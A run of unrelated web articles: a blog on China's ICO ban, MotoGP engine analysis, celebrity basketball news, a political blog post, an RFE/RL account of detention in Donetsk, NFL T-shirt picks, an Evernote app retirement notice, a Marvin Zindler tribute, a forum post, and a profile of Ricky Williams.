No financial institution or payment institutions may conduct business related to ICO fundraising. I don’t see this as a ban on crypto exchanges. What they are stating here is that no entity may provide services that will allow investors to buy tokens issued through an ICO. This may also imply that exchanges may not allow the trade of tokens that were sold as part of an ICO. They are banned from selling or allowing trading activities for tokens initially sold through ICOs.
V. The Public Need to Stay Aware of the Risks of Coin Offering Fundraising and Trading There are multiple risks in coin offering fundraising and trading, including risk of false asset, risk of operation failure, risk of speculation, and etc. The investors shall take investment risks on their own and be cautious of frauds and scams. The public shall be aware of the risks and learn to identify the illegal financial activities in the name of “currency” (“bi” in Chinese), and report clues of illegal activities in a timely manner.
Well that’s quite true. Can’t question that.
So the biggest take away here is:
There is nothing new that we haven’t heard in the previous round of news from China
new that we haven’t heard in the previous round of news from China It is not evident that the ban is permanent or temporary- hard to say at this stage
evident that the ban is permanent or temporary- hard to say at this stage There is no ban in Bitcoin, Ethereum, any existing Cryptocurrency, virtual token, or digital asset
There is no ban on crypto-to-crypto exchange as long as it is not related to ICOs
ban on crypto-to-crypto exchange as long as it is not related to ICOs There is a clear ban on ICOs
There is a clear ban on any entity that allows fundraising through ICOs
There is a ban on exchanges allowing the conversion of fiat to token for the purpose of completing an ICO
In short, ICOs are banned, anything to do with ICOs are banned. I don’t see how this is a bad thing for such a large country. These are steps towards a regulated environment. I still hope that the ban is temporary. Legitimate ICOs are an innovation, and therefore countries need to be able to adopt the fundraising method. However it needs to be fixed. And hopefully this is the right step towards doing that.
At the end of the day, regulation will happen, regardless of if we like it or not. But if you didn’t think it would happen you aren’t aware of what the risks with any ICO are. Leave your thoughts below.
Other readings:
What is an ICO
Risks with an ICO
What is blockchain technologyJust over 18 months ago, I wrote a long analysis of what I believed at the time was the main problem with Ducati's Desmosedici MotoGP machine. In that analysis, I attributed most of the problems with the Desmosedici to the chosen angle of the V, the angle between the front and rear cylinder banks. By sticking with the 90°V, I argued, Ducati were creating problems with packaging and mass centralization, which made it almost impossible to get the balance of the Desmosedici right. The engine was taking up too much space, and limiting their ability to adjust the weight balance by moving the engine around.
Though there was a certain logic to my analysis, it appears that the engine angle was not the problem. Yesterday, in their biweekly print edition, the Spanish magazine Solo Moto published an article by Neil Spalding, who had finally obtained photographic evidence that the Honda RC213V uses a 90°V, the same engine angle employed by the Ducati Desmosedici. Given the clear success of the Honda RC213V, there can no longer be any doubt that using a 90°V is no mpediment to building a competitive MotoGP machine.
The photographic proof comes as confirmation of rumors which had been doing the rounds in the MotoGP paddock throughout the second half of the 2012 season. Several people suggested that the Honda may use a 90° angle, including Ducati team manager Vitto Guareschi, speaking to GPOne.com back in November. I had personally been lucky enough to catch a glimpse of a naked RC213V engine at one rain-soaked race track in September, but while the glimpse through the window may have been good enough to form the impression of an engine that looked like it may have been a 90°V, it was a very long way from being anything resembling conclusive, and nowhere near enough to base a news story on.
Spalding's persistence has paid off, however. The British photographer and journalist is a common sight wandering among the garages, either first thing in the morning, as the bikes are being warmed up, or late at night, while the mechanics prepare the machines for the following day. At some point, the Honda mechanics and engineers - protective to the point of prudishness of displaying any part of their machine to the outside world - would let their guard slip. When they did, Spalding pounced.
So why did Honda elect to use an engine layout which is blamed for causing Ducati so much trouble? And how do Honda make the layout work where Ducati have continued to fail? The first question is relatively simple to answer; the second is a good deal more tricky.
There are many reasons to use a 90°V for both four cylinder and two cylinder engines. First and foremost is that such an engine layout offers perfect primary and secondary balance - put crudely, the vibration caused by the mass of the piston moving, and the vibration caused by the difference in motion between the crankshaft and the piston (see animation here) - which means that no extra measures are required to balance the engine out. Adding a balance shaft - as is needed for a 75°V, as the previous RC212V was, and as is needed for Yamaha's big bang inline four - saps power, requiring around 1-2% of the engine output to drive the balance shaft at sufficient speed. In addition to that, a 90°V also has perfect inertia torque: the torque created by the movement of the pistons all balance each other out, the reason Yamaha chose to use the big bang firing order for the M1 inline four. There are more reasons as well - more even cylinder firing means more manageable intake pulses in the inlet tract, from air intakes to airbox, among other reasons.
Rule changes also made a 90°V more attractive. When Spalding spoke to HRC boss Shuhei Nakamoto about the engine, Nakamoto explained that the maximum bore size of 81mm - primarily introduced to act as a rev limit - had allowed Honda to think of expanding the engine angle when they switched from 800cc to 1000cc. The fixed bore meant that the engines required a longer stroke, moving the exhaust ports further away from the crankshaft, and making the cylinder heads higher. This gave more room for locating the rear shock; with the 800cc, the exhausts had to be kept away from the shock to prevent the shock oil from absorbing too much heat and losing damping; on the long-stroke 1000, this is less of a problem, as the exhausts are routed further away from the shock anyway. The taller cylinders also moved the center of mass significantly; with a narrow V, that weight would have been further up; having a wider V, 90°, the weight is distributed a little better, Nakamoto explained to Spalding.
So why does the Honda work, while the Ducati doesn't? For a number of reasons, few of which have anything to do with the engine angle. Contributing a small amount is the fact that the Honda engine appears to be rotated slightly further rearward than the Ducati Desmosedici. Ducati had abandoned its more L-based approach, with the front cylinder bank close to the horizontal, at the end of 2011, choosing to rotate the engine back to close to 45° from the horizontal. But
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my day job (which is great, by the way) and spending a lot more time with the friends I've met and hopefully a few researchers I'm discussing these things with here in Pittsburgh. I'll be working on some of my writing projects now and then as well. But, regardless of what happens next, I hope you'll stick around for the ride!Every year, the NBA hosts a celebrity basketball showdown. This year, there's a new wrinkle: The teams will be separated into Team USA and Team Canada. Today, Team Canada coach Drake has announced his starting lineup, as Rolling Stone points out. His selection includes Arcade Fire's Win Butler, who'll appear for the second year running, as well as NBA icon Steve Nash and Toronto Blue Jays slugger Jose Bautista (who'll serve as assistant coaches), tennis player Milos Raonic, NBA stars Tracy McGrady and Rick Fox, Canada's Natalie Achonwa, actors Kris Wu and Stephan James, and, finally, Drew and Jonathan Scott, of Property Brothers renown. They'll face off against a Team USA lineup assembled by Kevin Hart.
The 2016 NBA All-Star Celebrity Game, hosted in Toronto, airs live on February 12 at 7 p.m. Eastern on ESPN.
Read "NBA Celeb Game Scouting Report: Win Butler" on the Pitch.And his dad got to watch
It’s a rather striking coincidence that Barack Obama ordered Osama bin Laden killed almost exactly 8 years to the day that George W. Bush strapped on a codpiece and landed on an aircraft carrier looking like the soldier he never was, the warrior he always wanted to be but was too busy getting wasted to be arsed to work for.
For all his pomp and circumstance, we all know what most thinking people knew then: that war wasn’t over, not by a long shot.
But now, on the one year anniversary of bin Laden’s death and the gutsy decision made by President Obama to go after him, something George W. Bush was never able to do, conservatives are falling all over themselves make it look like President Obama is rubbing it in in an unseemly way.
Here’s John Bolton, one of the more odious of the neoconservatives that helped George W. Bush drive our country off a foreign policy cliff:
I think what offends people is that instead of recognizing it as a national triumph and having everybody share in it, that the Obama administration has tried to make it look like the president did everything, including fast-roping out of the helicopter and pulling the trigger.
This is projection of the highest order, of course. It was President Bush that nearly fast-roped out of the fighter jet on aircraft carrier nine years ago yesterday in front of a banner claiming “Mission Accomplished” when the mission was just getting started.
Yesterday, Mitt Romney accused President Obama of politicizing the event and then, I kid you not, went on to eat pizza with Rudy (“911-911-911”) Giuliani at a New York firehouse that lost 11 first-responder firefighters on 9/11. Hypocrisy much, Mitt? Is your Irony Meter broken?
The fact is, as LOLGOP pointed out yesterday, the GOP doesn’t have a valid argument to make and are simply chasing their tail trying to figure out a way to smear the president.
Unfortunately for them, they just got Barack-blocked.
[Image credit: Meteor Blades | Daily Kos]Svitlana Matushko is a middle-aged businesswoman from Donetsk with a harrowing story to tell.
It all began when she was at work one day last month.
"Armed men came, with automatic weapons and camouflage," she told RFE/RL's Russian Service. "And they arrested me at work. They took all my electronics and documents. They searched my home twice without any warrant or anything. Twice they searched my workplace. And they locked me in the basement of the former building of the Ukrainian secret service in Donetsk."
Matushko then spent seven days in the basement cell, locked up with a motley group of prisoners that included separatist militia fighters, a pregnant separatist sniper, accused drug dealers, local businesspeople, a woman whose husband had been a member of former Prime Minister Yulia Tymoshenko's political party, and a karate instructor.
Most of them were imprisoned -- and possibly facing execution -- entirely on the basis of denunciations filed by people they knew. That's what happened to Matushko -- she deduced from the interrogation sessions that she had been denounced by a man she had been dating.
"I said to the guy who was questioning me, 'I know who did this. Did you give him a medal or some money or some other benefit? Why did he do this?' The interrogator said, 'You know, in times like these, the basest parts of people rise to the surface,'" Matushko says.
The man's statement accused Matushko of photographing separatist militia positions and transmitting the photographs to the Ukrainian military. She says the accusations are absurd.
However, she does not deny that she is a Ukrainian patriot and opposes the pro-Russian separatists. She participated for a couple of days in the Maidan protest in Kyiv and attended pro-Ukrainian demonstrations in Donetsk before the fighting broke out.
"I went to demonstrations," she says." I talked to all my friends. Explained to them what was going on. You know, the power of [former President Viktor] Yanukovych and his family was so strong that literally everyone suffered. Literally everyone. The corruption was boundless and touched every single person."
'A Week In Handcuffs'
She says that when one of her interrogators, who identified himself as a former Berkut riot police officer who had also been at Maidan, saw her Maidan photographs, he threatened to shoot her "with his own hands" for "throwing Molotov cocktails" at him.
Although conditions were bad and she was constantly afraid, Matushko says she was not beaten or tortured. Others were not so lucky. One man spent a whole week in handcuffs. Another told how he'd been held in a solitary cell without food or water for days.
Matushko doesn't know why she was released after spending seven days locked in the basement cell.
"Sometime around the fourth day -- you know, every time they summoned me I thought, 'this is it; they are going to shoot me' -- on the fourth day, the guy told me that they weren't going to kill me," she says. The following Monday, they let her go.
"What are they trying to do?" Matushko asks. "They want to frighten as much as possible the people in Donetsk who are loyal to Ukraine, who want a united Ukraine, so that they will leave the region on their own. Then they want to populate that territory with people who are loyal to Russia. I think that is their goal."
As far as Matushko is concerned, the Donetsk separatists have achieved this goal. She made her way to Kyiv and now works with the Displaced Persons Committee.
She tells how the conflict in eastern Ukraine has divided friends and even families in the self-proclaimed Donetsk Peoples Republic (DNR).
"This also affected my family," she says. "My mother participated in the elections on November 2. She went into Donetsk and voted in the so-called elections of the DNR. I tried to explain to her that you are voting for someone who wanted to beat your child, but she doesn't understand that. She said, 'I voted for peace.'"
When Matushko asked her mother what the separatists' program was, she said she didn't care. "She just voted against the 'Kyiv junta,' as they call it," Matushko says.
Now, from Kyiv, Matushko insists the government must put down the separatist revolt, which she considers "pure terrorism" on the model of Soviet dictator Josef Stalin's Great Terror.
"It is a real partisan conflict," she says. "People are afraid to leave their homes. They are hiding; they are resisting in any way that they can."
RFE/RL correspondent Robert Coalson contributed to this reportAt a June retreat for The MMQB staffers at a lakefront cabin in Pound Ridge, N.Y., which involved fishing, flip cup and this epic picture, Peter King asked everyone to offer up new ideas for the 2016 season. One by one, we shared our thoughts. When my turn came, I said I wanted to write about football lifestyle.
“Great! Let’s do it,” Peter responded. “But one question: What is football lifestyle?”
Well, PK, you’re looking at it. For the past three years, I’ve run a men’s lifestyle site that covers everything from apparel to food to travel and tells the stories of guys pushing the boundaries of what’s expected. This column will be the football version of that. Every Friday in this space, I’ll write about everything from fan gear to tailgating essentials to the pets of players to what brand’s backpack Tyrann Mathieu carries into the locker room every Sunday.
To kick things off, I set out to find the best T-shirt for every NFL team. Click the links below for my favorite (The MMQB Pick) as well as my choices for over and under $25. And because I didn’t want to leave out the ladies, I asked my wife, Danny—writer, tank-top addict and avid NFL documentary watcher—to pick 32 pieces she’d sport in the stadium.
As a media member, I have no rooting interest so my picks are unbiased. I took into account wearability, originality and style, and sought out independent brands where possible because the NFL is a multibillion-dollar monolith and doesn’t deserve any more of your money. As you’ll see, I lean old-school, and many of the picks reflect my affinity for vintage logos and branding.
Click on the images and the bold red links below for purchasing information, and let me know what I missed via email or Twitter. Let’s get to it.
AFC EAST
Nike
Buffalo Bills
• The MMQB Pick: I saw these bold blue letters and it immediately brought to mind Marv Levy, Andre Reed and Cornelius Bennett. That’s the kind of memory recall you want in a shirt and not, say, J.P. Los(s)man.
• Over $25: Distressed logos on heathered gray all damn day.
• Under $25: Sometimes, you have to wear your pain with pride.
• Women: Give me a million Bills shirts and I’d pick the vintage buffalo every day of the week … and twice on Sunday.
Nike
Miami Dolphins
• The MMQB Pick: I have no allegiance to the Dolphins, but if I was picking one shirt off this list for myself, it’d probably be this one. The aqua-orange combo and timeless logo is perfect.
• Over $25: The shirt is OK but it’s more about the orange. Be bold.
• Under $25: The players already are annoying about it. Might as well join them.
• Women: When the rest of the country cheers in coats this winter, you and your pod can rock this old-school tank with a shoutout to Dan the Man.
Barstool Sports
New England Patriots
• The MMQB Pick: Matt Patricia was created in a lab by mad scientist Bill Belichick, and you’ll never convince me otherwise. Patricia is exactly what every D-coordinator should look like. Wear his bushy-bearded face with pride, Pats fans.
• Over $25: Embrace Pat Patriot and leave the new logo alone.
• Under $25: Understated detail here? That old-school face mask.
• Women: If people stare at your chest, it’s only because this unusually restrained Pats graphic is comprised of the words “New England Patriots.”
One10 Threads
New York Jets
• The MMQB Pick: Hard to go wrong with a clever nickname that began with one group in the ’80s and resurfaced three decades later. Also: If you find a shirt with this helmet on it, buy ASAP. Disappointed I couldn’t find one.
• Over $25: Gets right to the point, doesn’t it? Love that thick typeface.
• Under $25: A bit busy but a cool design with nod to the past.
• Women: Revis and the boys have been doing this a long time. Show ’em you’re a fan from way back.
AFC NORTH
Fanatics
Baltimore Ravens
• The MMQB Pick: I had a hard time here. I don’t really like the Ravens’ logo, name or colors—probably leftover loathing of Ray Lewis. So when in doubt, go simple.
• Over $25: See? Even the vintage treatment only barely helps the logo.
• Under $25: I can get on board with this washed purple look. So much less abrasive.
• Women: Looking to b-more than another fan in purple? These numbers speak for themselves.
Homage
Cincinnati Bengals
• The MMQB Pick: The MMQB editor/podcast guru Gary Gramling owns this gem from Homage, and says it reminds him of growing up in the ’80s “when the Ickey Shuffle was the best thing that could happen on a Sunday.”
• Over $25: There’s something very grade-school phys-ed class about this design that I love.
• Under $25: Love the cartoon tiger and the diagonal black-orange stripe.
• Women: What’s more awesome than showing your favorite 300-pound defensive tackle some love? Finding the perfect tiger stripe bralette to go underneath it.
'47 Brand
Cleveland Browns
• The MMQB Pick: No need to complicate things when your team owns the best helmet in professional football.
• Over $25: The elf doesn’t get the respect it should outside Cleveland. Let’s help change that.
• Under $25: Ohio brand Homage pays respect to Bernie.
• Women: A cool logo takes the bite out of a bad beat.
Steel City
Pittsburgh Steelers
• The MMQB Pick: The city of Pittsburgh has a local, throwback mentality, so might as well get a T-shirt—made by a local company, featuring a throwback team—to match.
• Over $25: The Steelers have the best receiver in the NFL. Flaunt that.
• Under $25: This makes me think the Steelers should lose the color on their three star-like symbols on their helmets for an alternate uniform.
• Women: If Biggie Smalls came up in the ’Burgh, he would’ve said, “If you don't know, now you know, Yinzer.”
AFC SOUTH
Fanatics
Houston Texans
• The MMQB Pick: I love this shirt. It’s kinda like a Waffle House sign, the Saved by the Bell logo and Houston Texans football all merged into one glorious design.
• Over $25: Big, bold and straight to the point. Just like Texas.
• Under $25: The sleeve stripes intrigue me. Feels like something Red Grange would wear.
• Women: Tailgate food and tight shirts don’t mix. This slouchy tee reps both city and team with a sweet, script-y style.
500 Level
Indianapolis Colts
• The MMQB Pick: This one will have to do until they start making “I’m a Member of the Andrew Luck Book Club” T-shirts. (And yes, I realize I’ve now picked two shirts featuring guys with beards. Is that wrong?)
• Over $25: Sure, this logo originated in Baltimore, but it doesn’t mean Indy fans can’t embrace it.
• Under $25: Caricatures of franchise quarterbacks are always a sure thing.
• Women: Buck the horseshoe look with this old-school v-neck.
Made By Tim
Jacksonville Jaguars
• The MMQB Pick: A beautiful tribute to one of the best moments in Jags history. If it’s good enough for long snapper Carson Tinker to wear, it’s good enough for fans.
• Over $25: Lesson: When a teal logo is involved, stripping out all color and going monochrome is preferred.
• Under $25: Nice combo of gold and white, and I lov... WAIT. Are those logos in the armpits?! Who signed off on this?
• Women: Wish they’d punted on the rhinestones, but love the built-in cross-hatch.
500 Level
Tennessee Titans
• The MMQB Pick: When there is more excitement around a young quarterback than the overall team, that’s a good time to break out the player-specific shirt.
• Over $25: Faded hashmarks? Kinda like the extra vintage vibe they give out here.
• Under $25: Easily the best part of the Titans’ branding is this Roman-like font.
• Women: Capitalize on letterpress, not logos, with this snug American-made tee.
AFC WEST
Fanatics
Denver Broncos
• The MMQB Pick: Broncos fans already know to reject the new logo like it’s a low Mark Sanchez pass at the line of scrimmage.
• Over $25: Confuse the hell out of the Peyton-come-lately fans with this Dijon-brown beauty.
• Under $25: Bonus: If anyone asks who’s on your shirt, you can just sack the crap out of them.
• Women: The only thing more inventive than Peyton Manning’s audibles is a shirt that combines them into his image.
Charlie Hustle Clothing Co.
Kansas City Chiefs
• The MMQB Pick: So much perfect here: the Red Sea nickname, the ketchup-mustard color combo, the subtlety of the 142.2 placement. Nice work, Charlie Hustle.
• Over $25: Can’t really mess up the Arrowhead logo.
• Under $25: In a sea of red, that yellow will stand out—in a good way.
• Women: One small detail—like letters that fade into the neck—is the difference between a go-to tee and an end-of-season addition to the garage sale pile.
Nike
Oakland Raiders
• The MMQB Pick: Silver and swords—how is this not already the name of a Raiders blog?
• Over $25: My favorite part of the Raiders logo is the solitary black helmet stripe. So badass.
• Under $25: Bonus for future Vegas Raiders fans: This one doesn’t say Oakland anywhere.
• Women: Because not all women want to look like lady pirates.
Fanatics
San Diego Chargers
• The MMQB Pick: For fans spanning the past couple generations, pixels and pigskin go hand-in-hand. And that 8-Bit Bolt is boss.
• Over $25: Powder blue is all the rage, but count me as more of a fan of the Fouts-era navy.
• Under $25: That light blue-bright yellow combo has serious pop. Can’t sneak into Qualcomm in this.
• Women: Nothing like some California love. Throw up a finger if you feel the same way.
NFC EAST
500 Level
Dallas Cowboys
• The MMQB Pick: Roll your eyes at all the Romo jerseys, and instead reward the man who has been the most consistent performer in Dallas for the past decade-plus.
• Over $25: Because you can’t support the Cowboys without repping Texas too.
• Under $25: Bonus: T.O. might try to stand on your chest when you wear this.
• Women: You and Willie Nelson have a lot in common.
Fanatics
New York Giants
• The MMQB Pick: Who would be mad if the Giants wore this logo on their helmets once a season? Well, besides the uptight suits at the No Fun League.
• Over $25: Not that there is anything wrong with this logo. This shirt is also available in red; when it’s back in stock, pounce.
• Under $25: A very 80s vibe here. Phil McConkey fans, rise up.
• Women: Hundreds of words have been used to describe Odell Beckham Jr., but six letters are all you need.
Veterans Shirtium
Philadelphia Eagles
• The MMQB Pick: How much does it cost to become the talk of the tailgate? About fifteen bucks. Tecmo and Reggie can’t miss in any crowd of Philly fans.
• Over $25: Give me the full eagle over the clipped helmet wing all day.
• Under $25: White tees are unforgiving but simplicity outweighs that here.
• Women: New season, new coach, new shirt that looks old.
Nike
Washington Redskins
• The MMQB Pick: This logo has Vince Lombardi roots, which is reason enough to support it. Really wish the team would consider wearing these again.
• Over $25: Sorry. Same shirt, different color. I like it that much.
• Under $25: The gold is too good not to flaunt when the occasion calls for it.
• Women: Marketing teams spend years on the perfect sports slogan. Kirk Cousins rolled off the field, barked three words and nailed exactly what it feels like to win.
NFC NORTH
Chitown Clothing
Chicago Bears
• The MMQB Pick: We already know it’s forever 1985 in Chicago. Might as well have the T-shirt to match.
• Over $25: Why is the bear yawning? Perhaps he just watched Jay Cutler play.
• Under $25: The design is meh, but bottom line: Orange is underrated as a Bears color.
• Women: Back in ’85, when this team nickname was resurrected, this look would’ve required a visit to the local iron-on shop.
Majestic
Detroit Lions
• The MMQB Pick: It’s kinda like someone tried to wipe off the logo on this shirt. Long-time Lions fans can empathize with that feeling: There are many Sundays they wish they could erase.
• Over $25: The squashed lion is growing on me, but the real love here is for those vertical stripes.
• Under $25: Tecmo Barry is all you need to know.
• Women: You don’t have to wear a lion to roar.
'47 Brand
Green Bay Packers
• The MMQB Pick: Your buddies might prefer the Aaron Rodgers Says R-E-L-A-X shirts but no need to overthink things with a logo this iconic.
• Over $25: I never realized the Packers had their own font until I researched this piece.
• Under $25: Fact—If you like this shirt, you’ll love this picture.
• Women: With Clay Matthews on the front, every tee is a muscle tee.
500 Level
Minnesota Vikings
• The MMQB Pick: Is the Run DMC design played out? Probably. Do you want to be the one to tell Adrian Peterson? I didn’t think so.
• Over $25: This combines two things America needs more of: heathered purple tees and big yellow mustaches.
• Under $25: Love the facemask here, especially the fact that it’s white. Strong look.
• Women: Start your own Vikings Donut Club with this shirt, a few dozen chocolate glazed and a bunch of rules about who can eat them and when.
NFC SOUTH
'47 Brand
Atlanta Falcons
• The MMQB Pick: This will work, but what I really wanted was a shirt featuring this helmet, complete with concussions-be-damned shell and vintage facemask. Make it, and make a mint. Or at least $30 from me.
• Over $25: If you can get past the model’s cheesy tattoos and the color being “licorice,” then this is a sweet shirt.
• Under $25: Hard to endorse a black shirt, but I do enjoy the font.
• Women: Fact: Julio is a nickname. This prolific ATL wide receiver’s given name is actually Quintorris.
Old Try
Carolina Panthers
• The MMQB Pick: Sure, it’s a stretch as a Panthers shirt. But pride in state and pride in football team go hand in hand. And this is a badass product, a frequent occurrence for Old Try.
• Over $25: Never been a fan of the logo (too angular) but I like this treatment.
• Under $25: Possibly the best value on this list. Love the all white panther too.
• Women: Gotta support the swag. He’s not No. 1 by accident.
Nike
New Orleans Saints
• The MMQB Pick: I love this old logo, but if you wear this shirt, you better be ready to answer the question, “Why is his chin resting on the shield?”
• Over $25: Faded logo allows you to pretend you’re a long-time fan even though you just moved to New Orleans last year so you could eat Cochon Butcher everyday.
• Under $25: Does the price reflect the company’s opinion of Drew Brees’ hairstyle?
• Women: Not even the almighty Breesus could shake this song from his head.
Macy's
Tampa Bay Buccaneers
• The MMQB Pick: The most inevitable pick on here. If you didn’t see this winking, sword-biting man coming, then you haven’t been paying attention.
• Over $25: Look, here he is again. Bucs fans are so lucky in the logo department. Not so much on the actual field though.
• Under $25: Fine, I’ll give the current look some love too. Pewter has potential.
• Women: The original version of this Bucs logo was last used in 1996—two years after QB Jameis Winston was born.
NFC WEST
Fanatics
Arizona Cardinals
• The MMQB Pick: The simplicity of this logo, used by the Chicago Cardinals in the 40s and 50s, is perfect. Hey, we need a logo designed for the Cardinals football team. \\\Eight minutes later/// Done!
• Over $25: The NFL’s most likeable player deserves your support.
• Under $25: So this actually costs $28, but five bucks goes to a great cause. Do it for BA.
• Women: As this wonderful doc showed, Bruce Arians is made up of three things: heart, soul and F bombs.
Pro Line
Los Angeles Rams
• The MMQB Pick: Spent more time than I care to admit searching Rams shirts. So many great options. See? I can like new things too.
• Over $25: The recall here for fans of ’80s NFL is of Jim Everett and Eric Dickerson. Man, it’s good to see football back in L.A.
• Under $25: Throw it on back even further with this gem commemorating the D-line group from the ’60s and ’70s.
• Women: L.A. ain’t cheap: Save money by supporting both boys in blue.
Majestic
San Francisco 49ers
• The MMQB Pick: The combination of tri-blend softness and a vintage design is undefeated, very much unlike expectations for your 2016 49ers.
• Over $25: This is a creative way to honor the best who ever played the position.
• Under $25: Will they make one of these for Blaine Gabbert one day? You never know. (Except we do, and they won’t.)
• Women: This drape-y racerback leaves your biceps bare for Kaepernicking.
Prinstant Replays
Seattle Seahawks
• The MMQB Pick: The season hasn’t even started, and I already miss Marshawn. This shirt, commemorating his teeth-rattling run, will help us cope.
• Over $25: The 8-bit treatment shows how superior the Seahawks’ old-school helmets are to the modern version.
• Under $25: If you take nothing else away from this list, let it be this: Stop modernizing NFL team branding. Older is almost always better. Now get off my lawn.
• Women: Anyone can sport a Seahawk. To the true fan, the team and city are inseparable.
The MMQB Football Lifestyle column is a curated list of links to what’s catching Dom’s eye off the field. The MMQB has affiliate deals with some of the brands featured and receives commission on certain purchases. Have an item for consideration? Share it.Evernote is thinning itself down, and will drop support for Skitch across various platforms along with Evernote for Pebble and Clearly.
Skitch for iOS, Android, Windows and Windows Touch is going away, while its Mac app will stick around. Clearly, Evernote’s readability extension for webpages, is also being retired.
Evernote for the Pebble smartwatch will also be shut down.
The company says it will no longer update the services starting today, and they’ll all be removed from circulation on January 22.
If you’re worried the apps will stop working, Evernote doesn’t offer the most comforting response:
If you currently use any of these apps, you’ll find that they may continue to work for some time beyond January. We are not turning these apps “off,” but external changes like updates to your operating system or browser may break features or functionality at any point in the future.
Much like Dropbox’s decision to ditch Carousel and Mailbox, Evernote says its focus is now on its main service.
➤ Evernote to end support for Clearly, Evernote for Pebble, and versions of Skitch [Evernote]
Read next: Vine now force-feeds you content it thinks you'll likeEMBED >More News Videos Eyewitness News anchor, Dave Ward remembers Houston's television crusader, Marvin Zindler
EMBED >More News Videos Steve Campion and Pooja Lodhia got exclusive access to the property to show us what it looks like today and discuss future plans for the site.
EMBED >More News Videos The memory of the late Marvin Zindler is alive in a new fried chicken restaurant
From "Slime in the Ice Machine" to the, from rats and roaches to "Angels in Action," Marvin Zindler was a Houston institution and beloved member of our ABC13 family.Marvin died 10 years ago today after a brave fight with pancreatic cancer.He spent more than three decades with KTRK, helping average joes and the everyday Houstonian through his pioneering consumer reporting.Donning his familiar white wig and blue shades, Marvin was a welcome visitor into our homes each night.We treasured Marvin's embrace and love for the less fortunate, and his willingness to go the extra mile to help someone in need.He had a taste for great food and clean kitchens (remember the Blue Ribbon Awards?), and was apt to highlight the random acts of kindness that make the people of this city great.There can be no greater tribute to a man who so loved Houston than for each of us, in our own ways, to be more like him.Marvin may be gone, but he is not forgotten.In his memory, we hope you have a great day. Wishing you good golf, good tennis, or whatever makes you happy.Custom Diving-themed Birthday Present
★★★★★
5 5 1
“ "My children and I contacted Karolina a few months ago to create a piece of art for my husband who has been a working diver for over for 40 years. We also have a company that builds drysuits and wanted something to commemorate his years of diving, the beauty of the ocean and as well our business. I am not an artist and have no skills in that area. I was nervous but was able to communicate some ideas to Karolina who took my thoughts, expanded on them and created a beautiful painting called Welding in the Fantastic Sea. She researched our request and sent us several sketches depicting her visualization of our requirements. We selected one and the finished product is absolutely beautiful and hangs in a place of honor. The time lapse video she did was really cool because we could see the entire process which is fascinating for a non-artist. It was a fun process and I would recommend it to anyone. She has the ability to take a few fragments of ideas and turn it into something really beautiful. The quality of the paper that was used was excellent. Our painting was a watercolour. We had the painting shipped to us which took 3 days and arrived on time. No hassle at all. ”(not trying to sound mean or anything here so pls don’t SMAAAASH me)
What I meant was, Mother 4 isn’t as close to EarthBound in terms of the setting and graphical style as what I’d prefer. Maybe that’s because I liked EarthBound the most and Mother 4 is, from what I’ve seen, much more similar to Mother 3. Tbh, I didn’t really like 3 much, so that’s probably why I prefer Eagleland.
Again, Mother 4 is still awesome and I hope it’s as good as it looks! Not trying to sound negative or anything! I’m just saying, it’s my opinion. Feel free to disagree with me as long as there are no inexplicable attacks or trout yogurt dispensers involved, because I know you aren’t supposed to have opinions on the internet. Maybe that isn’t true since starnen.net is a lot more chill though.
Whatever. I’m out. (psi teleports away)Ricky Williams was walking across the University of Texas at Austin campus at the end of the fall 2014 semester, headed to take his American Government final exam. With him were two classmates — current student-athletes — who nervously discussed their grades in the course. One student said he hoped for a C, then asked Williams what grade he carried in the class. Williams said he had a high A, a 95%. The student-athletes hurried their pace and left Williams trailing behind. “Whoops, I probably should have kept that to myself,” Williams recently said over a cup of green tea at a café adjacent to the campus, twisting his face as if he were embarrassed, then laughing. Twenty years ago, Williams was just like the young men who left him in the dust that day. He first enrolled at the University of Texas in 1995, and then played four seasons of record-breaking — and Heisman-winning — football as a running back. Through the first two years, his C-level grades reflected the academic ambitions of his successors on the field. His only A in his first three semesters came in an Introduction to Psychology class. Williams is now back in school at the University of Texas and is within a year of finishing his long-suspended bachelor’s degree. Soon to begin his third semester, Williams is working toward a degree in Physical Culture and Sports, a program that allows him to study the philosophy, history, and, most notably, the psychology of athletics. After graduation, he intends to apply to graduate programs with the hope of earning a Ph.D. in psychology. Most people know Williams from his 11 tumultuous years as a running back in the NFL, but his public discussion of his social anxiety and marijuana use while he was a league star has often hung over him like a cloud. When Williams was on the field, he showed a glimmer of becoming the greatest, a thrill that undoubtedly embittered fans who watched as he dropped out, and in, and out of the league. Now, as Williams orients himself within the world of academia, he is adjusting to another difficult-to-navigate new territory: consistency.
Elsa / Getty Images Williams with the Miami Dolphins in 2009.
In Williams’ 38 years, turmoil has been one of few constants. From a fractured family environment as a child to his back-and-forths with the NFL, his experiences have instilled in him an intimate knowledge of chaos. But Ricky Williams is no longer the limitless young man he was at the peak of his fame: He is a father, a husband, a man who lives comfortably in a nice home in suburban Austin. He could be a generic American man. But though the tumult has mostly settled, there’s still a frenetic vibration that remains. It makes Williams handle his new challenges in a way that is, as always, uniquely Ricky.
“I find my biggest challenge is getting people to let go of me as a football player and be willing to consider me as that and something else,” Williams said during an interview on UT’s campus in June. “But for most people, being a professional football player is like the pinnacle of their imagined life or actual life. For me, as much as I tried to make it that, it just hasn't worked. I still want more.” As a kid, Williams dreamed of playing professional baseball — he grew up loving the fast feet of Rickey Henderson and the 1980s Oakland Athletics — or becoming a teacher. But like so many of this generation’s top athletes, Williams saw football as “his way out” of a tumultuous childhood. After his four seasons at UT, he answered when the NFL came knocking. “If I were being true to myself,” he says now, “I probably wouldn’t have gone into the NFL. Sometimes I feel like I wasted at least five years of my life playing football. It wasn’t really what I wanted to be.”
"Sometimes I feel like I wasted at least five years of my life playing football. It wasn’t really what I wanted to be.”
Williams grew up quickly, living in a broken home in San Diego with his twin sister Cassandra and younger sister Nisey; he’s still close with both of them. His parents, Sandy and Errick — Williams is Errick Jr., legally — divorced when he was six, and less than a year later, Errick Sr. was convicted of “annoying or molesting children” — his own twins. Sandy, suddenly raising three kids by herself, was rarely able to make it to things like Little League games, and Williams quickly sharpened his independence. By the age of 5, he was doing laundry and making dinner for his sisters, and though his intelligence was never a question — “That’s what I had on my sisters! I was always the smart one” — he floundered in classes, posting inferior grades until he reached high school. Before committing to the University of Texas, he was interested in moving a few hours north of San Diego, his hometown, to attend Stanford, where legendary NFL coach Bill Walsh was coaching after leaving the 49ers. Walsh retired in the middle of the recruiting season, Williams remembers vividly. “If not, I would have been a Cardinal for sure.” Williams became a Longhorn in 1995. During his four football seasons at the University of Texas, he racked up a record-breaking 6,279 career rushing yards.
